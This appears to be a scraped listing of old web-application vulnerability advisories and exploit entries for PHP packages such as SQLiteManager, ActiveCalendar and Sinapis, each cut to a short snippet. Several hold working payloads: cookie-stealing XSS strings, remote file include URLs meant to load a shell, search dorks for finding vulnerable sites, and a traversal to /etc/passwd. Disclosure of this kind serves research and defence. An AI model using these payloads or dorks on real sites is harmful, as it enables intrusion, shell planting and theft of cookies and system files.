sqllitemanager120-multi.txt

SQLiteManager v1.2.0 Multiple Vulnerabilities ------------------------------------------------------- vendor : http://www.sqlitemanager.org/ Global risk : High ------------------------------------------------------- SQLite is a SQL managed portal like PhpMyAdmin. Multiple Cross Scripting...

Admin Phorum 3.3.1.a (del.php include_path)File Include Vulnerability

Admin Phorum 3.3.1.a del.php includepathFile Include Vulnerability Author: GoldM Hacker at w.Cn Mahmoodali Homepage: Www.Tryag.Cc Download S : http://www.phpforums.net/admin331.zip Other Info : http://www.phpforums.net/index.php?dir=dld v.Code : Line 3 require "$includepath/deletemessage.php";...

Admin Phorum 3.3.1a (del.asp include_path) RFI Vulnerability

No description provided by source. br / br / Admin Phorum 3.3.1.a del.php includepathFile Include Vulnerability br / br /...

activecal120-multi.txt

ActiveCalendar 1.2.0, Multiple vulnerabilities Vendor site : http://www.micronetwork.de/activecalendar/ Global risk : Critical Multiples XSS : --------------- /activecalendar/data/page.php?css="alertdocument.cookie In : /data/ flatevents.php js.php mysqlevents.php m2.php m3.php m4.php xmlevents.p...

CVE-2006-7079: Improper Limitation of a Pathname to a Restricted Directory

Variable extraction vulnerability in include/common.php in exV2 2.0.4.3 and earlier allows remote attackers to overwrite arbitrary program variables and conduct directory traversal attacks to execute arbitrary code by modifying the $xoopsOption'pagetype' variable...

CVE-2006-7081: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in PhpNews 1.0 allow remote attackers to execute arbitrary PHP code via the Include parameter to 1 Include/lib.inc.php3 and 2 Include/variables.php3...

Admin Phorum 3.3.1a (del.php include_path) RFI Vulnerability

Exploit for unknown platform in category web applications ============================================================= Admin Phorum 3.3.1a del.php includepath RFI Vulnerability ============================================================ Admin Phorum 3.3.1.a del.php includepathFile Include...

PT-2007-1358 · Exv2 · Exv2

Name of the Vulnerable Software and Affected Versions: exV2 versions 2.0.4.3 and earlier Description: The issue allows remote attackers to overwrite arbitrary program variables and conduct directory traversal attacks to execute arbitrary code. This is achieved by modifying the xoopsOption'pagetyp...

PHP-MIP 0.1 (top.php laypath) Remote File Include Vulnerability

No description provided by source. PHP Module Implementationtop.php laypathRemote File Include Vul ^ Downlaoad S : http://sourceforge.net/projects/phpmip/ ^ Author: GolDM = Mahmoodali && Contact: [email protected] ^ In: /path/top.php ^...

PHP Module Implementation(top.php laypath)Remote File Include Vul

PHP Module Implementationtop.php laypathRemote File Include Vul ^ Downlaoad S : http://sourceforge.net/projects/phpmip/ ^ Author: GolDM = Mahmoodali && Contact: [email protected] ^ In: /path/top.php ^ Vulnerable Code: ^ include"$laypath/body.php"; Line : 23 ^ Exploit:...

Pagesetter 6.2/6.3.0 - 'index.php' Local File Inclusion

source: https://www.securityfocus.com/bid/22733/info Pagesetter is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files and execute local scripts. Pagesetter 6.3.0 beta 5 and prior...

SQLiteManager 1.2 - Local File Inclusion

SQLiteManager 1.2 - Local File Inclusion source: https://www.securityfocus.com/bid/22727/info SQLiteManager is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files and execute loca...

SQLiteManager v1.2.0 Multiple Vulnerabilities

SQLiteManager v1.2.0 Multiple Vulnerabilities ------------------------------------------------------- vendor : http://www.sqlitemanager.org/ Global risk : High ------------------------------------------------------- SQLite is a SQL managed portal like PhpMyAdmin. Multiple Cross Scripting...

PHP-MIP 0.1 (top.php laypath) Remote File Include Vulnerability

Exploit for unknown platform in category web applications =============================================================== PHP-MIP 0.1 top.php laypath Remote File Include Vulnerability =============================================================== PHP Module Implementationtop.php laypathRemote Fi...

Sinapis 2.2 Gastebuch (sinagb.php fuss) Remote File Include Vulnerability

Sinapis 2.2 Gastebuch Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=gb&title=Sinapis20Gstebuch20img20src=/pics/gbscr.gif Dork="inurl:sinagb.php" ERROR: if$fuss == "" echo "/body/html"; else include$fuss; rfi coded RFI: http://SITE.com/path//sinagb.php?fuss=SHELL...

ActiveCalendar 1.2.0, Multiple vulnerabilities

ActiveCalendar 1.2.0, Multiple vulnerabilities Vendor site : http://www.micronetwork.de/activecalendar/ Global risk : Critical Multiples XSS : --------------- /activecalendar/data/page.php?css="scriptalertdocument.cookie/script In : /data/ flatevents.php js.php mysqlevents.php m2.php m3.php m4.ph...

Sinapis Forum 2.2 (sinapis.php fuss) Remote File Include Vulnerability

Sinapis Forum 2.2 Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=forum&title=Sinapis20ForumGstebuch20img20src=/pics/gbscr.gif Dork="Sinapis by scripter.ch" Dork1="inurl:sinapis.php" ERROR: if$fuss != ""include$fuss; rfi coded RFI:...

xtcommerce local file include

xtcommerce local file include local file include: /index.php?currency=EUR&manufacturersid=1&template=../../../../../../../../etc/passwd00 regards laurent gaffie...

FCRing <= 1.31 (fcring.php s_fuss) Remote File Include Vulnerability

FCRing 1.3 Webringskript Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=fcring&title=FCRing201.3 ERROR: if$sfuss != "" include$sfuss; rfi coded RFI: http://SITE.com/path/fcring.php?sfuss=SHELL kezzap66345athotmaildotcom thanx=x0r0nstr0keshika milw0rm.com 2007-02-23...

Active Calendar 1.2 - showcode.php Local File Inclusion

Active Calendar 1.2 - showcode.php Local File Inclusion source: https://www.securityfocus.com/bid/22704/info Active Calendar is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files...